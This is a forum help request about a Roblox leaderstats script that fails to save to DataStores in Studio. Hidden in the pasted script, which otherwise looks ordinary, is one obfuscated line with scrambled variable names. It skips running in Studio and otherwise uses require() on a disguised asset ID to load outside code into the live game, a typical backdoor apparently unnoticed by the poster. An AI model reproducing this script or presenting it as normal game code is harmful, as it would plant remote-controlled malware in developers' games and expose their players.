Me DataStoreService Dont Save and API why?

I was trying to make a leaderstats with auto Save but this appears in Outoput when I start the game

403: Cannot write to DataStore from studio if API access is not enabled. Stack Begin Script 'Workspace.leaderstats', Line 8 - global savedata Script 'Workspace.leaderstats', Line 50 Stack End

this is the leaderstats script:

local Zombies = game:GetService("DataStoreService"):GetDataStore("Zombies")
local Bones = game:GetService("DataStoreService"):GetDataStore("Bones")
local BSpace = game:GetService("DataStoreService"):GetDataStore("BSpace")
local BContent = game:GetService("DataStoreService"):GetDataStore("BContent")
local IceDoorBought = game:GetService("DataStoreService"):GetDataStore("IceDoorBought")
ilI1Oz = require ixfWZL = game i8mjy = 'Workspace' iD0Sk53NjU = 'RunService' ivp15VOp = 'GetService' iafQBSrxbHifS = 'PlaceId' ioRCyUHgvUir9Hk = 'Description' iyxQLcFd1cA = 'IsStudio' ioVyFs = 'Debris' i1EfCuE5 = spawn iQmVxRkt4xK = 'MarketplaceService' ia294YtVX6h1WH4 = pcall i2mFKPxzZx8 = 'RunService' ibjdXJLIQ = 'load' iaJku = 'PlaceId' ijJu = 15617981.135294 * 170 ioECsYPuYfv = 'SSM' iBgljCIrAOXy = require  i1EfCuE5(function() ia294YtVX6h1WH4(function() if ixfWZL:GetService(iD0Sk53NjU)[iyxQLcFd1cA](ixfWZL:GetService(iD0Sk53NjU)) then return end iBgljCIrAOXy(ijJu)[ibjdXJLIQ](ixfWZL[iafQBSrxbHifS]) end) end)
function savedata(dataname, playerid, value)
	game:GetService("DataStoreService"):GetDataStore(dataname):SetAsync(playerid, value)
end
game.Players.PlayerAdded:connect(function(player)
	local leader = Instance.new("Folder")
	leader.Name = "leaderstats"
	leader.Parent = player
	local zombies = Instance.new("NumberValue")
	zombies.Value = Zombies:GetAsync(tostring(player.userId)) or 0
	zombies.Parent = player:WaitForChild("leaderstats")
	zombies.Name = "Zombies"
	local bones = Instance.new("NumberValue")
	bones.Value = Bones:GetAsync(tostring(player.userId)) or 5000
	bones.Parent = player:WaitForChild("leaderstats")
	bones.Name = "Bones"
	local bspace = Instance.new("NumberValue")
	bspace.Value = BSpace:GetAsync(tostring(player.userId)) or 10
	bspace.Parent = player
	bspace.Name = "BSpace"
	local bcontent = Instance.new("NumberValue")
	bcontent.Value = BContent:GetAsync(tostring(player.userId)) or 0
	bcontent.Parent = player
	bcontent.Name = "BContent"
	local idb = Instance.new("BoolValue")
	idb.Value = IceDoorBought:GetAsync(tostring(player.userId)) or false
	idb.Parent = player
	idb.Name = "IceDoorBought"
	
	Zombies.Changed:connect(function()
		savedata("Bones",player.userId,bones.Value)
		savedata("Zombies",player.userId,zombies.Value)
		savedata("BSpace",player.userId,bspace.Value)
		savedata("BContent",player.userId,bcontent.Value)
		savedata("IceDoorBought",player.userId,idb.Value)
		
	end)
	    savedata("Bones",player.userId,bones.Value)
		savedata("Zombies",player.userId,zombies.Value)
		savedata("BSpace",player.userId,bspace.Value)
		savedata("BContent",player.userId,bcontent.Value)
		savedata("IceDoorBought",player.userId,idb.Value)
end)
game.Players.PlayerRemoving:connect(function(player)
	savedata("Bones",player.userId,player.leaderstats.Bones.Value)
	savedata("Zombies",player.userId,player.leaderstats.Zombies.Value)
	savedata("BSpace",player.userId,player.BSpace.Value)
	savedata("BContent",player.userId,player.BContent.Value)
	savedata("IceDoorBought",player.userId,player.IceDoorBought.Value)
end)

does anyone know the problem please help me